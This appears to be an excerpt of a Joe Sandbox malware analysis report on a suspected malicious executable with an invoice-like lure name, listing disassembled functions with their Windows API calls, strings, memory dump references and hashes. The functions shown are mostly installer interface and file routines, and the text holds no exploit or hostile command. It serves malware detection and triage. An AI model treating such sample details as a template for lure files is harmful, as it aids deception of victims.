Instruction ID: f65ff15fdb1f10fb5373ba158cef8787300933468326e23b7288bb8c2237705b
Opcode Fuzzy Hash: 512375b0d91e1f35eaafe1d2d9ea6627de5ab3dbf7b488781e982afef0b9970b
Instruction Fuzzy Hash: 87F0E271A10000ABCB00EFA0D9099ADB378EF04314F20417BF401F21D0DBB85D409B2A

Function 004043CD Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040446B
GetDlgItem.USER32(?,000003E8), ref: 0040447F
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040449C
GetSysColor.USER32(?), ref: 004044AD
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004044BB
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004044C9
lstrlenW.KERNEL32(?), ref: 004044CE
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004044DB
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004044F0
GetDlgItem.USER32(?,0000040A), ref: 00404549
SendMessageW.USER32(00000000), ref: 00404550
GetDlgItem.USER32(?,000003E8), ref: 0040457B
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004045BE
LoadCursorW.USER32(00000000,00007F02), ref: 004045CC
SetCursor.USER32(00000000), ref: 004045CF
LoadCursorW.USER32(00000000,00007F00), ref: 004045E8
SetCursor.USER32(00000000), ref: 004045EB
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040461A
SendMessageW.USER32(?,00000000,00000000), ref: 0040462C

Strings

Call, xrefs: 004045AA
N, xrefs: 00404569
DC@, xrefs: 004045D7

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: Call$DC@$N
API String ID: 3103080414-3199507676
Opcode ID: 2da216cdb10da56fdc38759a2ba284d26a9c8f7b49192765219d3b76b1da507d
Instruction ID: 7c305bb631aa8564409a9791ba7e53f932479190766108f73685c8e55a50eb1d
Opcode Fuzzy Hash: 2da216cdb10da56fdc38759a2ba284d26a9c8f7b49192765219d3b76b1da507d
Instruction Fuzzy Hash: 3B61A0B1900209BFDF10AF60DD45AAA7B69FB85344F00843AF701B61E0D77DA951CF98

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,007A7A20,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 218f2c87b148b58c94c6785b51cf5afc075c1faf60bc5df3e6f759b2377d660f
Instruction ID: 0958fbfe94b1809001ec2c76305b3cf500f7264b01c73c256976ee1787a3906e
Opcode Fuzzy Hash: 218f2c87b148b58c94c6785b51cf5afc075c1faf60bc5df3e6f759b2377d660f
Instruction Fuzzy Hash: B1418C71800209AFCF058F95DE459AF7BB9FF45310F00842AF591AA1A0CB38D954DFA4

Function 00405EE3 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,0040607E,?,?), ref: 00405F1E
GetShortPathNameW.KERNEL32(?,007A55C0,00000400), ref: 00405F27

Part of subcall function 00405CF2: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405FD7,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D02
Part of subcall function 00405CF2: lstrlenA.KERNEL32(00000000,?,00000000,00405FD7,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D34

GetShortPathNameW.KERNEL32(?,007A5DC0,00000400), ref: 00405F44
wsprintfA.USER32 ref: 00405F62
GetFileSize.KERNEL32(00000000,00000000,007A5DC0,C0000000,?,007A5DC0,?,?,?,?,?), ref: 00405F9D
GlobalAlloc.KERNEL32(?,0000000A,?,?,?,?), ref: 00405FAC
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FE4
SetFilePointer.KERNEL32(0040A560,00000000,00000000,00000000,00000000,007A51C0,00000000,-0000000A,0040A560,00000000,[Rename],00000000,00000000,00000000), ref: 0040603A
GlobalFree.KERNEL32(00000000), ref: 0040604B
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00406052

Part of subcall function 00405D8D: GetFileAttributesW.KERNELBASE(?,00402F1D,C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe,80000000,00000003,?,00000006,?,0000000A), ref: 00405D91
Part of subcall function 00405D8D: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000006,?,0000000A), ref: 00405DB3

Strings

[Rename], xrefs: 00405FCC, 00405FDE
%ls=%ls, xrefs: 00405F58

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 210d5d9a443b3001b4c7cda13cc78adcf358d44dd1d7e4f25ad0eda9c69d4b7c
Instruction ID: 42876e8bd8e74e9ce15c52ab3024c97c29192655820983ae090f8c600f4dcad6
Opcode Fuzzy Hash: 210d5d9a443b3001b4c7cda13cc78adcf358d44dd1d7e4f25ad0eda9c69d4b7c
Instruction Fuzzy Hash: 25312530240B156BD220BB218D48F6B3A9DEF86744F15003AFA42F62D1EA7DD8148ABD

Function 0040652B Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe",00403347,C:\Users\user\AppData\Local\Temp\,74DF3420,004035B6,?,00000006,?,0000000A), ref: 0040658E
CharNextW.USER32(?,?,?,00000000,?,00000006,?,0000000A), ref: 0040659D
CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe",00403347,C:\Users\user\AppData\Local\Temp\,74DF3420,004035B6,?,00000006,?,0000000A), ref: 004065A2
CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe",00403347,C:\Users\user\AppData\Local\Temp\,74DF3420,004035B6,?,00000006,?,0000000A), ref: 004065B5

Strings

"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe", xrefs: 0040652B
C:\Users\user\AppData\Local\Temp\, xrefs: 0040652C, 00406531
*?|<>/":, xrefs: 0040657D

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-2995278780
Opcode ID: f2dbc7d310367101a7bf5127f564121aa95c210a65fb008c6410ea5a4ac792ac
Instruction ID: 354a4add7e9ac5ce680480da4fd3ed99b8030fd96c8c1ffbe99f836226306b46
Opcode Fuzzy Hash: f2dbc7d310367101a7bf5127f564121aa95c210a65fb008c6410ea5a4ac792ac
Instruction Fuzzy Hash: 4511B655800612A5DF303B14AD44A7772F8EF547A0F56443FE985733C4E77C5C9286AD

Function 00404275 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00404292
GetSysColor.USER32(00000000), ref: 004042D0
SetTextColor.GDI32(?,00000000), ref: 004042DC
SetBkMode.GDI32(?,?), ref: 004042E8
GetSysColor.USER32(?), ref: 004042FB
SetBkColor.GDI32(?,?), ref: 0040430B
DeleteObject.GDI32(?), ref: 00404325
CreateBrushIndirect.GDI32(?), ref: 0040432F

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: 595a5ac3551c8926a474018cd00e052a0643935c19338169816fcf7950983a94
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: BD2135716007049FCB219F68DD48B5BBBF8AF81715B048A3EED96A26E0D734E944CB54

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004026B6
MultiByteToWideChar.KERNEL32(?,?,?,?,?,00000001), ref: 004026F1
SetFilePointer.KERNEL32(?,?,?,00000001,?,?,?,?,?,00000001), ref: 00402714
MultiByteToWideChar.KERNEL32(?,?,?,00000000,?,00000001,?,00000001,?,?,?,?,?,00000001), ref: 0040272A

Part of subcall function 00405E6E: SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,00000000,?,?,0040262F,00000000,00000000,?,00000000,00000011), ref: 00405E84

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: d48387ae3e024a72c6243637e6df33ec40d1b18911dabf8db30d8cce87806c70
Instruction ID: 60624729709df044e3b9a276a2138f1bd207bb457e97f94edfd4483e5cf9eee0
Opcode Fuzzy Hash: d48387ae3e024a72c6243637e6df33ec40d1b18911dabf8db30d8cce87806c70
Instruction Fuzzy Hash: 61510974D10219AEDF219F95DA88AAEB779FF04304F50443BE901F72D0DBB89982CB58

Function 73402398 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 734024DA

Part of subcall function 7340122C: lstrcpynW.KERNEL32(00000000,?,734012DF,00000019,734011BE,-000000A0), ref: 7340123C

GlobalAlloc.KERNEL32(?), ref: 73402460
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 7340247B

Strings

@Hmu, xrefs: 73402494

Memory Dump Source

Source File: 00000000.00000002.1922689221.0000000073401000.00000020.00000001.01000000.00000004.sdmp, Offset: 73400000, based on PE: true

Associated: 00000000.00000002.1922572339.0000000073400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1922818095.0000000073403000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1922990212.0000000073405000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID: @Hmu
API String ID: 4216380887-887474944
Opcode ID: db3461f2375a2a32fd676313573d527e49f341337f315bc87bc2caf5031100fd
Instruction ID: 27ede37f416a9fa600879e2861e54c17bbd622ec98d196de1b6775dc06dfc2f9
Opcode Fuzzy Hash: db3461f2375a2a32fd676313573d527e49f341337f315bc87bc2caf5031100fd
Instruction Fuzzy Hash: 87419CB5304309EFE31DAF319940B2A77F8EB84314F1049BDE59AE66C5E730A485CB69

Function 004052FF Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(007A0F00,00000000,007924D8,74DF23A0,?,?,?,?,?,?,?,?,?,00403257,00000000,?), ref: 00405337
lstrlenW.KERNEL32(00403257,007A0F00,00000000,007924D8,74DF23A0,?,?,?,?,?,?,?,?,?,00403257,00000000), ref: 00405347
lstrcatW.KERNEL32(007A0F00,00403257,00403257,007A0F00,00000000,007924D8,74DF23A0), ref: 0040535A
SetWindowTextW.USER32(007A0F00,007A0F00), ref: 0040536C
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405392
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004053AC
SendMessageW.USER32(?,00001013,?,00000000), ref: 004053BA

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: d3653f13458b7317840ca79dc32cb7632281d068d931c5ba13ed513af890554b
Instruction ID: 8b92f55a8d4b67b8ae829402156b3fb25f72412c241cd3f1eea2d9b1658803e5
Opcode Fuzzy Hash: d3653f13458b7317840ca79dc32cb7632281d068d931c5ba13ed513af890554b
Instruction Fuzzy Hash: 66216071900618BACB11AFA5DD859CFBF78EF85350F10846AF904B62A0C7B94A50CF98

Function 00404BC9 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404BE4
GetMessagePos.USER32 ref: 00404BEC
ScreenToClient.USER32(?,?), ref: 00404C06
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404C18
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404C3E

Strings

f, xrefs: 00404C1A

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: e2d68be7770c43893e1e2478522bb0d44a2fa382b0b36792216c84cf33d7cb12
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 6F015E71D00218BAEB00DB94DD85BFFBBBCAF95B11F10412BBA51B61D0C7B49A018BA4

Function 00401DB9 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0040CDA8), ref: 00401E3E

Strings

Tahoma, xrefs: 00401E24

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
